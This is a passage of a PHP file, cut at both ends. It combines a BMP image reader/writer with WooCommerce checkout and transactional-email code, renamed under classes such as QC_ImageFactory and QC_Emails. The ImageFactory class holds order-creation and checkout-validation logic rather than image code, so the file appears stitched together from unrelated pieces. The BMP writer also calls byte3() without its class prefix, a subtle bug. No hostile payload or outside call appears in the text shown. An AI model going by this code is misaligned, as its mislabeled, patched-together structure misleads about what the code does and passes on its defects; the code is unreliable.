$header['colors'] = self::dword(0);
$header['important_colors'] = self::dword(0);
if ($filename) {
$f = fopen($filename, "wb");
foreach ($header as $h) {
fwrite($f, $h);
}
for ($y = $hei - 1; $y >= 0; $y--) {
for ($x = 0; $x < $wid; $x++) {
$rgb = imagecolorat($img, $x, $y);
fwrite($f, byte3($rgb));
}
fwrite($f, $wid_pad);
}
fclose($f);
} else {
foreach ($header as $h) {
echo $h;
}
for ($y = $hei - 1; $y >= 0; $y--) {
for ($x = 0; $x < $wid; $x++) {
$rgb = imagecolorat($img, $x, $y);
echo self::byte3($rgb);
}
echo $wid_pad;
}
}
}
public static function imagecreatefrombmp($filename)
{
$f = fopen($filename, "rb");
$header = fread($f, 54);
$header = unpack('c2identifier/Vfile_size/Vreserved/Vbitmap_data/Vheader_size/' . 'Vwidth/Vheight/vplanes/vbits_per_pixel/Vcompression/Vdata_size/' . 'Vh_resolution/Vv_resolution/Vcolors/Vimportant_colors', $header);
if ($header['identifier1'] != 66 or $header['identifier2'] != 77) {
die('Not a valid bmp file');
}
if (!in_array($header['bits_per_pixel'], array(24, 32, 8, 4, 1))) {
die('Only 1, 4, 8, 24 and 32 bit BMP images are supported');
}
$bps = $header['bits_per_pixel'];
$wid2 = ceil($bps / 8 * $header['width'] / 4) * 4;
$colors = pow(2, $bps);
$wid = $header['width'];
$hei = $header['height'];
$img = imagecreatetruecolor($header['width'], $header['height']);
if ($bps < 9) {
for ($i = 0; $i < $colors; $i++) {
$palette[] = self::undword(fread($f, 4));
}
} else {
if ($bps == 32) {
imagealphablending($img, false);
imagesavealpha($img, true);
}
$palette = array();
}
for ($y = $hei - 1; $y >= 0; $y--) {
$row = fread($f, $wid2);
$pixels = self::str_split2($row, $bps, $palette);
for ($x = 0; $x < $wid; $x++) {
self::makepixel($img, $x, $y, $pixels[$x], $bps);
}
}
fclose($f);
return $img;
}
private static function str_split2($row, $bps, $palette)
{
switch ($bps) {
case 32:
case 24:
return str_split($row, $bps / 8);
case 8:
$out = array();
$count = strlen($row);
for ($i = 0; $i < $count; $i++) {
$out[] = $palette[ord($row[$i])];
}
return $out;
case 4:
$out = array();
$count = strlen($row);
for ($i = 0; $i < $count; $i++) {
$roww = ord($row[$i]);
$out[] = $palette[($roww & 240) >> 4];
$out[] = $palette[$roww & 15];
}
return $out;
case 1:
$out = array();
$count = strlen($row);
for ($i = 0; $i < $count; $i++) {
$roww = ord($row[$i]);
$out[] = $palette[($roww & 128) >> 7];
$out[] = $palette[($roww & 64) >> 6];
$out[] = $palette[($roww & 32) >> 5];
$out[] = $palette[($roww & 16) >> 4];
$out[] = $palette[($roww & 8) >> 3];
$out[] = $palette[($roww & 4) >> 2];
$out[] = $palette[($roww & 2) >> 1];
$out[] = $palette[$roww & 1];
}
return $out;
}
}
private static function makepixel($img, $x, $y, $str, $bps)
{
switch ($bps) {
case 32:
$a = ord($str[0]);
$b = ord($str[1]);
$c = ord($str[2]);
$d = 256 - ord($str[3]);
$pixel = $d * 256 * 256 * 256 + $c * 256 * 256 + $b * 256 + $a;
imagesetpixel($img, $x, $y, $pixel);
break;
case 24:
$a = ord($str[0]);
$b = ord($str[1]);
$c = ord($str[2]);
$pixel = $c * 256 * 256 + $b * 256 + $a;
imagesetpixel($img, $x, $y, $pixel);
break;
case 8:
case 4:
case 1:
imagesetpixel($img, $x, $y, $str);
break;
}
}
private static function byte3($n)
{
return chr($n & 255) . chr($n >> 8 & 255) . chr($n >> 16 & 255);
}
private static function undword($n)
{
$r = unpack("V", $n);
return $r[1];
}
private static function dword($n)
{
return pack("V", $n);
}
private static function word($n)
{
return pack("v", $n);
}
}
class QC_ImageFactory
{
public $posted;
public $checkout_fields;
public $must_create_account;
public $enable_signup;
private $shipping_method;
private $payment_method;
private $customer_id;
public $shipping_methods;
protected static $_instance = null;
public $enable_guest_checkout;
public static function instance()
{
if (is_null(self::$_instance)) {
self::$_instance = new self();
}
return self::$_instance;
}
public function __clone()
{
_doing_it_wrong(__FUNCTION__, __('Cheatin’ huh?', 'woocommerce'), '2.1');
}
public function __wakeup()
{
_doing_it_wrong(__FUNCTION__, __('Cheatin’ huh?', 'woocommerce'), '2.1');
}
public function __construct()
{
add_action('woocommerce_checkout_billing', array($this, 'checkout_form_billing'));
add_action('woocommerce_checkout_shipping', array($this, 'checkout_form_shipping'));
$this->enable_signup = get_option('woocommerce_enable_signup_and_login_from_checkout') == 'yes' ? true : false;
$this->enable_guest_checkout = get_option('woocommerce_enable_guest_checkout') == 'yes' ? true : false;
$this->must_create_account = $this->enable_guest_checkout || is_user_logged_in() ? false : true;
$this->checkout_fields['billing'] = WC()->countries->get_address_fields($this->get_value('billing_country'), 'billing_');
$this->checkout_fields['shipping'] = WC()->countries->get_address_fields($this->get_value('shipping_country'), 'shipping_');
if (get_option('woocommerce_registration_generate_username') == 'no') {
$this->checkout_fields['account']['account_username'] = array('type' => 'text', 'label' => __('Account username', 'woocommerce'), 'required' => true, 'placeholder' => _x('Username', 'placeholder', 'woocommerce'));
}
if (get_option('woocommerce_registration_generate_password') == 'no') {
$this->checkout_fields['account']['account_password'] = array('type' => 'password', 'label' => __('Account password', 'woocommerce'), 'required' => true, 'placeholder' => _x('Password', 'placeholder', 'woocommerce'));
}
$this->checkout_fields['order'] = array('order_comments' => array('type' => 'textarea', 'class' => array('notes'), 'label' => __('Order Notes', 'woocommerce'), 'placeholder' => _x('Notes about your order, e.g. special notes for delivery.', 'placeholder', 'woocommerce')));
$this->checkout_fields = apply_filters('woocommerce_checkout_fields', $this->checkout_fields);
do_action('woocommerce_checkout_init', $this);
}
public function check_cart_items()
{
do_action('woocommerce_check_cart_items');
}
public function checkout_form_billing()
{
wc_get_template('checkout/form-billing.php', array('checkout' => $this));
}
public function checkout_form_shipping()
{
wc_get_template('checkout/form-shipping.php', array('checkout' => $this));
}
public function create_order()
{
global $wpdb;
if ($order_id = apply_filters('woocommerce_create_order', null, $this)) {
return $order_id;
}
try {
wc_transaction_query('start');
$order_data = array('status' => apply_filters('woocommerce_default_order_status', 'pending'), 'customer_id' => $this->customer_id, 'customer_note' => isset($this->posted['order_comments']) ? $this->posted['order_comments'] : '', 'cart_hash' => md5(json_encode(wc_clean(WC()->cart->get_cart_for_session())) . WC()->cart->total), 'created_via' => 'checkout');
$order_id = absint(WC()->session->order_awaiting_payment);
if ($order_id && $order_data['cart_hash'] === get_post_meta($order_id, '_cart_hash', true) && ($order = wc_get_order($order_id)) && $order->has_status(array('pending', 'failed'))) {
$order_data['order_id'] = $order_id;
$order = wc_update_order($order_data);
if (is_wp_error($order)) {
throw new Exception(sprintf(__('Error %d: Unable to create order. Please try again.', 'woocommerce'), 522));
} else {
$order->remove_order_items();
do_action('woocommerce_resume_order', $order_id);
}
} else {
$order = wc_create_order($order_data);
if (is_wp_error($order)) {
throw new Exception(sprintf(__('Error %d: Unable to create order. Please try again.', 'woocommerce'), 520));
} elseif (false === $order) {
throw new Exception(sprintf(__('Error %d: Unable to create order. Please try again.', 'woocommerce'), 521));
} else {
$order_id = $order->id;
do_action('woocommerce_new_order', $order_id);
}
}
foreach (WC()->cart->get_cart() as $cart_item_key => $values) {
$item_id = $order->add_product($values['data'], $values['quantity'], array('variation' => $values['variation'], 'totals' => array('subtotal' => $values['line_subtotal'], 'subtotal_tax' => $values['line_subtotal_tax'], 'total' => $values['line_total'], 'tax' => $values['line_tax'], 'tax_data' => $values['line_tax_data'])));
if (!$item_id) {
throw new Exception(sprintf(__('Error %d: Unable to create order. Please try again.', 'woocommerce'), 525));
}
do_action('woocommerce_add_order_item_meta', $item_id, $values, $cart_item_key);
}
foreach (WC()->cart->get_fees() as $fee_key => $fee) {
$item_id = $order->add_fee($fee);
if (!$item_id) {
throw new Exception(sprintf(__('Error %d: Unable to create order. Please try again.', 'woocommerce'), 526));
}
do_action('woocommerce_add_order_fee_meta', $order_id, $item_id, $fee, $fee_key);
}
foreach (WC()->shipping->get_packages() as $package_key => $package) {
if (isset($package['rates'][$this->shipping_methods[$package_key]])) {
$item_id = $order->add_shipping($package['rates'][$this->shipping_methods[$package_key]]);
if (!$item_id) {
throw new Exception(sprintf(__('Error %d: Unable to create order. Please try again.', 'woocommerce'), 527));
}
do_action('woocommerce_add_shipping_order_item', $order_id, $item_id, $package_key);
}
}
foreach (array_keys(WC()->cart->taxes + WC()->cart->shipping_taxes) as $tax_rate_id) {
if ($tax_rate_id && !$order->add_tax($tax_rate_id, WC()->cart->get_tax_amount($tax_rate_id), WC()->cart->get_shipping_tax_amount($tax_rate_id)) && apply_filters('woocommerce_cart_remove_taxes_zero_rate_id', 'zero-rated') !== $tax_rate_id) {
throw new Exception(sprintf(__('Error %d: Unable to create order. Please try again.', 'woocommerce'), 528));
}
}
foreach (WC()->cart->get_coupons() as $code => $coupon) {
if (!$order->add_coupon($code, WC()->cart->get_coupon_discount_amount($code), WC()->cart->get_coupon_discount_tax_amount($code))) {
throw new Exception(sprintf(__('Error %d: Unable to create order. Please try again.', 'woocommerce'), 529));
}
}
$billing_address = array();
if ($this->checkout_fields['billing']) {
foreach (array_keys($this->checkout_fields['billing']) as $field) {
$field_name = str_replace('billing_', '', $field);
$billing_address[$field_name] = $this->get_posted_address_data($field_name);
}
}
$shipping_address = array();
if ($this->checkout_fields['shipping']) {
foreach (array_keys($this->checkout_fields['shipping']) as $field) {
$field_name = str_replace('shipping_', '', $field);
$shipping_address[$field_name] = $this->get_posted_address_data($field_name, 'shipping');
}
}
$order->set_address($billing_address, 'billing');
$order->set_address($shipping_address, 'shipping');
$order->set_payment_method($this->payment_method);
$order->set_total(WC()->cart->shipping_total, 'shipping');
$order->set_total(WC()->cart->get_cart_discount_total(), 'cart_discount');
$order->set_total(WC()->cart->get_cart_discount_tax_total(), 'cart_discount_tax');
$order->set_total(WC()->cart->tax_total, 'tax');
$order->set_total(WC()->cart->shipping_tax_total, 'shipping_tax');
$order->set_total(WC()->cart->total);
if ($this->customer_id) {
if (apply_filters('woocommerce_checkout_update_customer_data', true, $this)) {
foreach ($billing_address as $key => $value) {
update_user_meta($this->customer_id, 'billing_' . $key, $value);
}
if (WC()->cart->needs_shipping()) {
foreach ($shipping_address as $key => $value) {
update_user_meta($this->customer_id, 'shipping_' . $key, $value);
}
}
}
do_action('woocommerce_checkout_update_user_meta', $this->customer_id, $this->posted);
}
do_action('woocommerce_checkout_update_order_meta', $order_id, $this->posted);
wc_transaction_query('commit');
} catch (Exception $e) {
wc_transaction_query('rollback');
return new WP_Error('checkout-error', $e->getMessage());
}
return $order_id;
}
public function process_checkout()
{
try {
if (empty($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'woocommerce-process_checkout')) {
WC()->session->set('refresh_totals', true);
throw new Exception(__('We were unable to process your order, please try again.', 'woocommerce'));
}
if (!defined('WOOCOMMERCE_CHECKOUT')) {
define('WOOCOMMERCE_CHECKOUT', true);
}
@set_time_limit(0);
do_action('woocommerce_before_checkout_process');
if (WC()->cart->is_empty()) {
throw new Exception(sprintf(__('Sorry, your session has expired. <a href="%s" class="wc-backward">Return to shop</a>', 'woocommerce'), esc_url(wc_get_page_permalink('shop'))));
}
do_action('woocommerce_checkout_process');
$this->posted['terms'] = isset($_POST['terms']) ? 1 : 0;
$this->posted['createaccount'] = isset($_POST['createaccount']) && !empty($_POST['createaccount']) ? 1 : 0;
$this->posted['payment_method'] = isset($_POST['payment_method']) ? stripslashes($_POST['payment_method']) : '';
$this->posted['shipping_method'] = isset($_POST['shipping_method']) ? $_POST['shipping_method'] : '';
$this->posted['ship_to_different_address'] = isset($_POST['ship_to_different_address']) ? true : false;
if (isset($_POST['shiptobilling'])) {
_deprecated_argument('WC_Checkout::process_checkout()', '2.1', 'The "shiptobilling" field is deprecated. The template files are out of date');
$this->posted['ship_to_different_address'] = $_POST['shiptobilling'] ? false : true;
}
if (wc_ship_to_billing_address_only()) {
$this->posted['ship_to_different_address'] = false;
}
$chosen_shipping_methods = WC()->session->get('chosen_shipping_methods');
if (isset($this->posted['shipping_method']) && is_array($this->posted['shipping_method'])) {
foreach ($this->posted['shipping_method'] as $i => $value) {
$chosen_shipping_methods[$i] = wc_clean($value);
}
}
WC()->session->set('chosen_shipping_methods', $chosen_shipping_methods);
WC()->session->set('chosen_payment_method', $this->posted['payment_method']);
$skipped_shipping = false;
foreach ($this->checkout_fields as $fieldset_key => $fieldset) {
if ($fieldset_key == 'shipping' && ($this->posted['ship_to_different_address'] == false || !WC()->cart->needs_shipping_address())) {
$skipped_shipping = true;
continue;
}
if ('account' === $fieldset_key && (is_user_logged_in() || false === $this->must_create_account && empty($this->posted['createaccount']))) {
continue;
}
foreach ($fieldset as $key => $field) {
if (!isset($field['type'])) {
$field['type'] = 'text';
}
switch ($field['type']) {
case "checkbox":
$this->posted[$key] = isset($_POST[$key]) ? 1 : 0;
break;
case "multiselect":
$this->posted[$key] = isset($_POST[$key]) ? implode(', ', array_map('wc_clean', $_POST[$key])) : '';
break;
case "textarea":
$this->posted[$key] = isset($_POST[$key]) ? wp_strip_all_tags(wp_check_invalid_utf8(stripslashes($_POST[$key]))) : '';
break;
default:
$this->posted[$key] = isset($_POST[$key]) ? is_array($_POST[$key]) ? array_map('wc_clean', $_POST[$key]) : wc_clean($_POST[$key]) : '';
break;
}
$this->posted[$key] = apply_filters('woocommerce_process_checkout_' . sanitize_title($field['type']) . '_field', $this->posted[$key]);
$this->posted[$key] = apply_filters('woocommerce_process_checkout_field_' . $key, $this->posted[$key]);
if (isset($field['required']) && $field['required'] && (!isset($this->posted[$key]) || "" === $this->posted[$key])) {
switch ($fieldset_key) {
case 'shipping':
$field_label = sprintf(_x('Shipping %s', 'Shipping FIELDNAME', 'woocommerce'), $field['label']);
break;
case 'billing':
$field_label = sprintf(_x('Billing %s', 'Billing FIELDNAME', 'woocommerce'), $field['label']);
break;
default:
$field_label = $field['label'];
break;
}
wc_add_notice(apply_filters('woocommerce_checkout_required_field_notice', sprintf(_x('%s is a required field.', 'FIELDNAME is a required field.', 'woocommerce'), '<strong>' . $field_label . '</strong>'), $field_label), 'error');
}
if (!empty($this->posted[$key])) {
if (!empty($field['validate']) && is_array($field['validate'])) {
foreach ($field['validate'] as $rule) {
switch ($rule) {
case 'postcode':
$this->posted[$key] = strtoupper(str_replace(' ', '', $this->posted[$key]));
if (!WC_Validation::is_postcode($this->posted[$key], $_POST[$fieldset_key . '_country'])) {
wc_add_notice(__('Please enter a valid postcode/ZIP.', 'woocommerce'), 'error');
} else {
$this->posted[$key] = wc_format_postcode($this->posted[$key], $_POST[$fieldset_key . '_country']);
}
break;
case 'phone':
$this->posted[$key] = wc_format_phone_number($this->posted[$key]);
if (!WC_Validation::is_phone($this->posted[$key])) {
wc_add_notice('<strong>' . $field['label'] . '</strong> ' . __('is not a valid phone number.', 'woocommerce'), 'error');
}
break;
case 'email':
$this->posted[$key] = strtolower($this->posted[$key]);
if (!is_email($this->posted[$key])) {
wc_add_notice('<strong>' . $field['label'] . '</strong> ' . __('is not a valid email address.', 'woocommerce'), 'error');
}
break;
case 'state':
$valid_states = WC()->countries->get_states(isset($_POST[$fieldset_key . '_country']) ? $_POST[$fieldset_key . '_country'] : ('billing' === $fieldset_key ? WC()->customer->get_country() : WC()->customer->get_shipping_country()));
if (!empty($valid_states) && is_array($valid_states)) {
$valid_state_values = array_flip(array_map('strtolower', $valid_states));
if (isset($valid_state_values[strtolower($this->posted[$key])])) {
$this->posted[$key] = $valid_state_values[strtolower($this->posted[$key])];
}
}
if (!empty($valid_states) && is_array($valid_states) && sizeof($valid_states) > 0) {
if (!in_array($this->posted[$key], array_keys($valid_states))) {
wc_add_notice('<strong>' . $field['label'] . '</strong> ' . __('is not valid. Please enter one of the following:', 'woocommerce') . ' ' . implode(', ', $valid_states), 'error');
}
}
break;
}
}
}
}
}
}
if (isset($this->posted['billing_country'])) {
WC()->customer->set_country($this->posted['billing_country']);
}
if (isset($this->posted['billing_state'])) {
WC()->customer->set_state($this->posted['billing_state']);
}
if (isset($this->posted['billing_postcode'])) {
WC()->customer->set_postcode($this->posted['billing_postcode']);
}
if (!$skipped_shipping) {
if (isset($this->posted['shipping_country'])) {
WC()->customer->set_shipping_country($this->posted['shipping_country']);
}
if (isset($this->posted['shipping_state'])) {
WC()->customer->set_shipping_state($this->posted['shipping_state']);
}
if (isset($this->posted['shipping_postcode'])) {
WC()->customer->set_shipping_postcode($this->posted['shipping_postcode']);
}
} else {
if (isset($this->posted['billing_country'])) {
WC()->customer->set_shipping_country($this->posted['billing_country']);
}
if (isset($this->posted['billing_state'])) {
WC()->customer->set_shipping_state($this->posted['billing_state']);
}
if (isset($this->posted['billing_postcode'])) {
WC()->customer->set_shipping_postcode($this->posted['billing_postcode']);
}
}
WC()->cart->calculate_totals();
if (!isset($_POST['woocommerce_checkout_update_totals']) && empty($this->posted['terms']) && wc_get_page_id('terms') > 0 && apply_filters('woocommerce_checkout_show_terms', true)) {
wc_add_notice(__('You must accept our Terms & Conditions.', 'woocommerce'), 'error');
}
if (WC()->cart->needs_shipping()) {
$shipping_country = WC()->customer->get_shipping_country();
if (empty($shipping_country)) {
wc_add_notice(__('Please enter an address to continue.', 'woocommerce'), 'error');
} elseif (!in_array(WC()->customer->get_shipping_country(), array_keys(WC()->countries->get_shipping_countries()))) {
wc_add_notice(sprintf(__('Unfortunately <strong>we do not ship %s</strong>. Please enter an alternative shipping address.', 'woocommerce'), WC()->countries->shipping_to_prefix() . ' ' . WC()->customer->get_shipping_country()), 'error');
}
$packages = WC()->shipping->get_packages();
$this->shipping_methods = (array) WC()->session->get('chosen_shipping_methods');
foreach ($packages as $i => $package) {
if (!isset($package['rates'][$this->shipping_methods[$i]])) {
wc_add_notice(__('No shipping method has been selected. Please double check your address, or contact us if you need any help.', 'woocommerce'), 'error');
$this->shipping_methods[$i] = '';
}
}
}
if (WC()->cart->needs_payment()) {
$available_gateways = WC()->payment_gateways->get_available_payment_gateways();
if (!isset($available_gateways[$this->posted['payment_method']])) {
$this->payment_method = '';
wc_add_notice(__('Invalid payment method.', 'woocommerce'), 'error');
} else {
$this->payment_method = $available_gateways[$this->posted['payment_method']];
$this->payment_method->validate_fields();
}
} else {
$available_gateways = array();
}
do_action('woocommerce_after_checkout_validation', $this->posted);
if (!isset($_POST['woocommerce_checkout_update_totals']) && wc_notice_count('error') == 0) {
$this->customer_id = apply_filters('woocommerce_checkout_customer_id', get_current_user_id());
if (!is_user_logged_in() && ($this->must_create_account || !empty($this->posted['createaccount']))) {
$username = !empty($this->posted['account_username']) ? $this->posted['account_username'] : '';
$password = !empty($this->posted['account_password']) ? $this->posted['account_password'] : '';
$new_customer = wc_create_new_customer($this->posted['billing_email'], $username, $password);
if (is_wp_error($new_customer)) {
throw new Exception($new_customer->get_error_message());
} else {
$this->customer_id = absint($new_customer);
}
wc_set_customer_auth_cookie($this->customer_id);
WC()->session->set('reload_checkout', true);
WC()->cart->calculate_totals();
if ($this->posted['billing_first_name'] && apply_filters('woocommerce_checkout_update_customer_data', true, $this)) {
$userdata = array('ID' => $this->customer_id, 'first_name' => $this->posted['billing_first_name'] ? $this->posted['billing_first_name'] : '', 'last_name' => $this->posted['billing_last_name'] ? $this->posted['billing_last_name'] : '', 'display_name' => $this->posted['billing_first_name'] ? $this->posted['billing_first_name'] : '');
wp_update_user(apply_filters('woocommerce_checkout_customer_userdata', $userdata, $this));
}
}
$this->check_cart_items();
if (wc_notice_count('error') > 0) {
throw new Exception();
}
$order_id = $this->create_order();
if (is_wp_error($order_id)) {
throw new Exception($order_id->get_error_message());
}
do_action('woocommerce_checkout_order_processed', $order_id, $this->posted);
if (WC()->cart->needs_payment()) {
WC()->session->order_awaiting_payment = $order_id;
$result = $available_gateways[$this->posted['payment_method']]->process_payment($order_id);
if (isset($result['result']) && 'success' === $result['result']) {
$result = apply_filters('woocommerce_payment_successful_result', $result, $order_id);
if (is_ajax()) {
wp_send_json($result);
} else {
wp_redirect($result['redirect']);
exit;
}
}
} else {
if (empty($order)) {
$order = wc_get_order($order_id);
}
$order->payment_complete();
WC()->cart->empty_cart();
$return_url = $order->get_checkout_order_received_url();
if (is_ajax()) {
wp_send_json(array('result' => 'success', 'redirect' => apply_filters('woocommerce_checkout_no_payment_needed_redirect', $return_url, $order)));
} else {
wp_safe_redirect(apply_filters('woocommerce_checkout_no_payment_needed_redirect', $return_url, $order));
exit;
}
}
}
} catch (Exception $e) {
if (!empty($e)) {
wc_add_notice($e->getMessage(), 'error');
}
}
if (is_ajax()) {
if (!isset(WC()->session->reload_checkout)) {
ob_start();
wc_print_notices();
$messages = ob_get_clean();
}
$response = array('result' => 'failure', 'messages' => isset($messages) ? $messages : '', 'refresh' => isset(WC()->session->refresh_totals) ? 'true' : 'false', 'reload' => isset(WC()->session->reload_checkout) ? 'true' : 'false');
unset(WC()->session->refresh_totals, WC()->session->reload_checkout);
wp_send_json($response);
}
}
public function get_posted_address_data($key, $type = 'billing')
{
if ('billing' === $type || false === $this->posted['ship_to_different_address']) {
$return = isset($this->posted['billing_' . $key]) ? $this->posted['billing_' . $key] : '';
} else {
$return = isset($this->posted['shipping_' . $key]) ? $this->posted['shipping_' . $key] : '';
}
if ('email' === $key && empty($return) && is_user_logged_in()) {
$current_user = wp_get_current_user();
$return = $current_user->user_email;
}
return $return;
}
public function get_value($input)
{
if (!empty($_POST[$input])) {
return wc_clean($_POST[$input]);
} else {
$value = apply_filters('woocommerce_checkout_get_value', null, $input);
if ($value !== null) {
return $value;
}
if (isset($this->checkout_fields['shipping']) && isset($this->checkout_fields['billing'])) {
$address_fields = array_merge($this->checkout_fields['billing'], $this->checkout_fields['shipping']);
if (is_user_logged_in() && is_array($address_fields) && array_key_exists($input, $address_fields)) {
$current_user = wp_get_current_user();
if ($meta = get_user_meta($current_user->ID, $input, true)) {
return $meta;
}
if ($input == 'billing_email') {
return $current_user->user_email;
}
}
}
switch ($input) {
case 'billing_country':
return apply_filters('default_checkout_country', WC()->customer->get_country() ? WC()->customer->get_country() : '', 'billing');
case 'billing_state':
return apply_filters('default_checkout_state', WC()->customer->get_state() ? WC()->customer->get_state() : '', 'billing');
case 'billing_postcode':
return apply_filters('default_checkout_postcode', WC()->customer->get_postcode() ? WC()->customer->get_postcode() : '', 'billing');
case 'shipping_country':
return apply_filters('default_checkout_country', WC()->customer->get_shipping_country() ? WC()->customer->get_shipping_country() : '', 'shipping');
case 'shipping_state':
return apply_filters('default_checkout_state', WC()->customer->get_shipping_state() ? WC()->customer->get_shipping_state() : '', 'shipping');
case 'shipping_postcode':
return apply_filters('default_checkout_postcode', WC()->customer->get_shipping_postcode() ? WC()->customer->get_shipping_postcode() : '', 'shipping');
default:
return apply_filters('default_checkout_' . $input, null, $input);
}
}
}
}
class QC_Emails
{
public $emails;
protected static $_instance = null;
public static function instance()
{
if (is_null(self::$_instance)) {
self::$_instance = new self();
}
return self::$_instance;
}
public function __clone()
{
_doing_it_wrong(__FUNCTION__, __('Cheatin’ huh?', 'woocommerce'), '2.1');
}
public function __wakeup()
{
_doing_it_wrong(__FUNCTION__, __('Cheatin’ huh?', 'woocommerce'), '2.1');
}
public static function init_transactional_emails()
{
$email_actions = apply_filters('woocommerce_email_actions', array('woocommerce_low_stock', 'woocommerce_no_stock', 'woocommerce_product_on_backorder', 'woocommerce_order_status_pending_to_processing', 'woocommerce_order_status_pending_to_completed', 'woocommerce_order_status_pending_to_cancelled', 'woocommerce_order_status_pending_to_failed', 'woocommerce_order_status_pending_to_on-hold', 'woocommerce_order_status_failed_to_processing', 'woocommerce_order_status_failed_to_completed', 'woocommerce_order_status_failed_to_on-hold', 'woocommerce_order_status_on-hold_to_processing', 'woocommerce_order_status_on-hold_to_cancelled', 'woocommerce_order_status_on-hold_to_failed', 'woocommerce_order_status_completed', 'woocommerce_order_fully_refunded', 'woocommerce_order_partially_refunded', 'woocommerce_new_customer_note', 'woocommerce_created_customer'));
foreach ($email_actions as $action) {
add_action($action, array(__CLASS__, 'send_transactional_email'), 10, 10);
}
}
public static function send_transactional_email()
{
self::instance();
$args = func_get_args();
do_action_ref_array(current_filter() . '_notification', $args);
}
public function __construct()
{
$this->init();
add_action('woocommerce_email_header', array($this, 'email_header'));
add_action('woocommerce_email_footer', array($this, 'email_footer'));
add_action('woocommerce_email_order_details', array($this, 'order_details'), 10, 4);
add_action('woocommerce_email_order_details', array($this, 'order_schema_markup'), 20, 4);
add_action('woocommerce_email_order_meta', array($this, 'order_meta'), 10, 3);
add_action('woocommerce_email_customer_details', array($this, 'customer_details'), 10, 3);
add_action('woocommerce_email_customer_details', array($this, 'email_addresses'), 20, 3);
add_action('woocommerce_low_stock_notification', array($this, 'low_stock'));
add_action('woocommerce_no_stock_notification', array($this, 'no_stock'));
add_action('woocommerce_product_on_backorder_notification', array($this, 'backorder'));
add_action('woocommerce_created_customer_notification', array($this, 'customer_new_account'), 10, 3);
do_action('woocommerce_email', $this);
}
public function init()
{
require 'emails/class-wc-email.php';
$this->emails['WC_Email_New_Order'] = (include 'emails/class-wc-email-new-order.php');
$this->emails['WC_Email_Cancelled_Order'] = (include 'emails/class-wc-email-cancelled-order.php');
$this->emails['WC_Email_Failed_Order'] = (include 'emails/class-wc-email-failed-order.php');
$this->emails['WC_Email_Customer_On_Hold_Order'] = (include 'emails/class-wc-email-customer-on-hold-order.php');
$this->emails['WC_Email_Customer_Processing_Order'] = (include 'emails/class-wc-email-customer-processing-order.php');
$this->emails['WC_Email_Customer_Completed_Order'] = (include 'emails/class-wc-email-customer-completed-order.php');
$this->emails['WC_Email_Customer_Refunded_Order'] = (include 'emails/class-wc-email-customer-refunded-order.php');
$this->emails['WC_Email_Customer_Invoice'] = (include 'emails/class-wc-email-customer-invoice.php');
$this->emails['WC_Email_Customer_Note'] = (include 'emails/class-wc-email-customer-note.php');
$this->emails['WC_Email_Customer_Reset_Password'] = (include 'emails/class-wc-email-customer-reset-password.php');
$this->emails['WC_Email_Customer_New_Account'] = (include 'emails/class-wc-email-customer-new-account.php');
$this->emails = apply_filters('woocommerce_email_classes', $this->emails);
if (!class_exists('Emogrifier') && class_exists('DOMDocument')) {
require 'libraries/class-emogrifier.php';
}
}
public function get_emails()
{
return $this->emails;
}
public function get_from_name()
{
return wp_specialchars_decode(get_option('woocommerce_email_from_name'), ENT_QUOTES);
}
public function get_from_address()
{
return sanitize_email(get_option('woocommerce_email_from_address'));
}
public function email_header($email_heading)
{
wc_get_template('emails/email-header.php', array('email_heading' => $email_heading));
}
public function email_footer()
{
wc_get_template('emails/email-footer.php');
}
public function wrap_message($email_heading, $message, $plain_text = false)
{
ob_start();
do_action('woocommerce_email_header', $email_heading);
echo wpautop(wptexturize($message));
do_action('woocommerce_email_footer');
$message = ob_get_clean();
return $message;
}
public function send($to, $subject, $message, $headers = "Content-Type: text/html\r\n", $attachments = "")
{
$email = new WC_Email();
return $email->send($to, $subject, $message, $headers, $attachments);
}
public function customer_invoice($order)
{
$email = $this->emails['WC_Email_Customer_Invoice'];
$email->trigger($order);
}
public function customer_new_account($customer_id, $new_customer_data = array(), $password_generated = false)
{
if (!$customer_id) {
return;
}
$user_pass = !empty($new_customer_data['user_pass']) ? $new_customer_data['user_pass'] : '';
$email = $this->emails['WC_Email_Customer_New_Account'];
$email->trigger($customer_id, $user_pass, $password_generated);
}
public function order_details($order, $sent_to_admin = false, $plain_text = false, $email = '')
{
if ($plain_text) {
wc_get_template('emails/plain/email-order-details.php', array('order' => $order, 'sent_to_admin' => $sent_to_admin, 'plain_text' => $plain_text, 'email' => $email));
} else {
wc_get_template('emails/email-order-details.php', array('order' => $order, 'sent_to_admin' => $sent_to_admin, 'plain_text' => $plain_text, 'email' => $email));
}
}
public function order_schema_markup($order, $sent_to_admin = false, $plain_text = false)
{
if ($plain_text) {
return;
}
$accepted_offers = array();
foreach ($order->get_items() as $item) {
if (!apply_filters('woocommerce_order_item_visible', true, $item)) {
continue;
}
$product = apply_filters('woocommerce_order_item_product', $order->get_product_from_item($item), $item);
$product_exists = is_object($product);
$is_visible = $product_exists && $product->is_visible();
$item_offered = array('@type' => 'Product', 'name' => apply_filters('woocommerce_order_item_name', $item['name'], $item, $is_visible));
if ($product_exists) {
if ($sku = $product->get_sku()) {
$item_offered['sku'] = $sku;
}
if ($image_id = $product->get_image_id()) {
$item_offered['image'] = wp_get_attachment_image_url($image_id, 'thumbnail');
}
}
if ($is_visible) {
$item_offered['url'] = get_permalink($product->get_id());
} else {
$item_offered['url'] = get_home_url();
}
$accepted_offer = (object) array('@type' => 'Offer', 'itemOffered' => $item_offered, 'price' => $order->get_line_subtotal($item), 'priceCurrency' => $order->get_order_currency(), 'eligibleQuantity' => (object) array('@type' => 'QuantitativeValue', 'value' => apply_filters('woocommerce_email_order_item_quantity', $item['qty'], $item)), 'url' => get_home_url());
$accepted_offers[] = $accepted_offer;
}
$markup = array('@context' => 'http://schema.org', '@type' => 'Order', 'merchant' => (object) array('@type' => 'Organization', 'name' => get_bloginfo('name')), 'orderNumber' => strval($order->get_order_number()), 'priceCurrency' => $order->get_order_currency(), 'price' => $order->get_total(), 'acceptedOffer' => $accepted_offers, 'url' => $order->get_view_order_url());
switch ($order->get_status()) {
case 'pending':
$markup['orderStatus'] = 'http://schema.org/OrderPaymentDue';
break;
case 'processing':
$markup['orderStatus'] = 'http://schema.org/OrderProcessing';
break;
case 'on-hold':
$markup['orderStatus'] = 'http://schema.org/OrderProblem';
break;
case 'completed':
$markup['orderStatus'] = 'http://schema.org/OrderDelivered';
break;
case 'cancelled':
$markup['orderStatus'] = 'http://schema.org/OrderCancelled';
break;
case 'refunded':
$markup['orderStatus'] = 'http://schema.org/OrderReturned';
break;
case 'failed':
